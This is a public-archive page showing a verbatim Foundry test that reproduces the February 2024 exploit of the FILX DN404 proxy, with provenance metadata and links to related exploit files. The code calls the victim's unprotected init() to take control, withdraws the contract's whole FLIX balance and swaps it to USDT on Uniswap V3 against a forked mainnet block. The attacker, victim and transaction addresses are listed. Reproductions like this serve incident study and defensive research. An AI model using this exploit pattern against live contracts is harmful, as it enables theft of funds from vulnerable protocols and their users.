Public reproduction file
src/test/2024-02/DN404_exp.sol
Public reproduction file for dataset entry FILX DN404.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 200K8// Attacker : https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd9// Attack Contract : https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd10// Vulnerable Contract : https://etherscan.io/address/0x2c7112245fc4af701ebf90399264a7e89205dad411// Attack Tx : https://etherscan.io/tx/0xbeef09ee9d694d2b24f3f367568cc6ba1dad591ea9f969c36e5b181fd301be8213// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x2c7112245fc4af701ebf90399264a7e89205dad4#code16// @Analysis17// Post-mortem :18// Twitter Guy :19// Hacking God :21interface IProxy {22 function init(IERC20 initToken, uint256 initPeriods, uint256 initInterval) external;24 function withdraw(IERC20 otherToken, uint256 amount, address receiver) external;25}27contract DN404 is Test {28 uint256 constant blockNumber = 19_196_685;29 address constant victim = 0x2c7112245Fc4af701EBf90399264a7e89205Dad4;30 address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;31 address constant FLIX = 0x83Cb9449b7077947a13Bf32025A8eAA3Fb1D8A5e;32 address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;33 address constant UniV3Pair = 0xa7434b755852F2555D6F96B9E28bAfE92F08Df97;35 function setUp() public {36 vm.label(victim, "Proxy");37 vm.label(WETH, "WETH");38 vm.label(FLIX, "FLIX");39 vm.label(USDT, "USDT");40 vm.label(UniV3Pair, "Uniswap V3 Pair");41 vm.createSelectFork("mainnet", blockNumber);42 }44 function testExploit() public {45 // Implement exploit code here46 emit log_named_decimal_uint(" Attacker USDT Balance Before exploit", IERC20(USDT).balanceOf(address(this)), 6);48 uint256 initPeriods = 1;49 uint256 initInterval = 1_000_000_000_000_000_000;50 uint256 amount = IERC20(FLIX).balanceOf(address(victim));52 IProxy(victim).init(IERC20(WETH), initPeriods, initInterval);53 IProxy(victim).withdraw(IERC20(FLIX), amount, address(this));54 Uni_Pair_V3(UniV3Pair).swap(address(this), true, 685_000_000_000_000_000_000_000, 4_295_128_740, "");55 // Log balances after exploit56 emit log_named_decimal_uint(" Attacker USDT Balance After exploit", IERC20(USDT).balanceOf(address(this)), 6);57 }59 function uniswapV3SwapCallback(int256 amount0Delta, int256, bytes memory) external {60 IERC20(FLIX).transfer(msg.sender, uint256(amount0Delta));61 }63 receive() external payable {}64}Analysis
Dataset entry
Public Foundry test for “FILX DN404” (2024-02-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-02/ADC_exp.solSame month in the dataset · 105 lines
- src/test/2024-02/AffineDeFi_exp.solSame month in the dataset · 73 lines
- src/test/2024-02/Babyloogn_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/BlueberryProtocol_exp.solSame month in the dataset · 125 lines
- src/test/2024-02/BurnsDefi_exp.solSame month in the dataset · 135 lines
- src/test/2024-02/CompoundUni_exp.solSame month in the dataset · 147 lines
- src/test/2024-02/DeezNutz404_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/DualPools_exp.solSame month in the dataset · 219 lines
- src/test/2024-02/EGGX_exp.solSame month in the dataset · 142 lines
- src/test/2024-02/GAIN_exp.solSame month in the dataset · 69 lines
- src/test/2024-02/Game_exp.solSame month in the dataset · 61 lines
- src/test/2024-02/Miner_exp.solSame month in the dataset · 75 lines
- src/test/2024-02/MINER_bsc_exp.solSame month in the dataset · 66 lines
- src/test/2024-02/PANDORA_exp.solSame month in the dataset · 48 lines
- src/test/2024-02/ParticleTrade_exp.solSame month in the dataset · 115 lines
- src/test/2024-02/RuggedArt_exp.solSame month in the dataset · 138 lines
- src/test/2024-02/Seneca_exp.solSame month in the dataset · 68 lines
- src/test/2024-02/SMOOFSStaking_exp.solSame month in the dataset · 77 lines
- src/test/2024-02/SwarmMarkets_exp.solSame month in the dataset · 57 lines
- src/test/2024-02/Zoomer_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd
- Attack Contract
0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd
- Vulnerable Contract
0x2c7112245fc4af701ebf90399264a7e89205dad4
- Attack Tx
0xbeef09ee9d694d2b24f3f367568cc6ba1dad591ea9f969c36e5b181fd301be82
- Explorer: https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd
- Explorer: https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd
- Explorer: https://etherscan.io/address/0x2c7112245fc4af701ebf90399264a7e89205dad4
- Explorer: https://etherscan.io/address/0x2c7112245fc4af701ebf90399264a7e89205dad4#code
File record
- Name
- FILX DN404
- Path
- src/test/2024-02/DN404_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c8630fb3d54b00b18dd829757b036b6092f3e863
- Language
- Solidity
- Size
- 65 lines
- Date
- 2024-02-10
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-02/DN404_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c8630fb3d54b00b18dd829757b036b6092f3e863, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.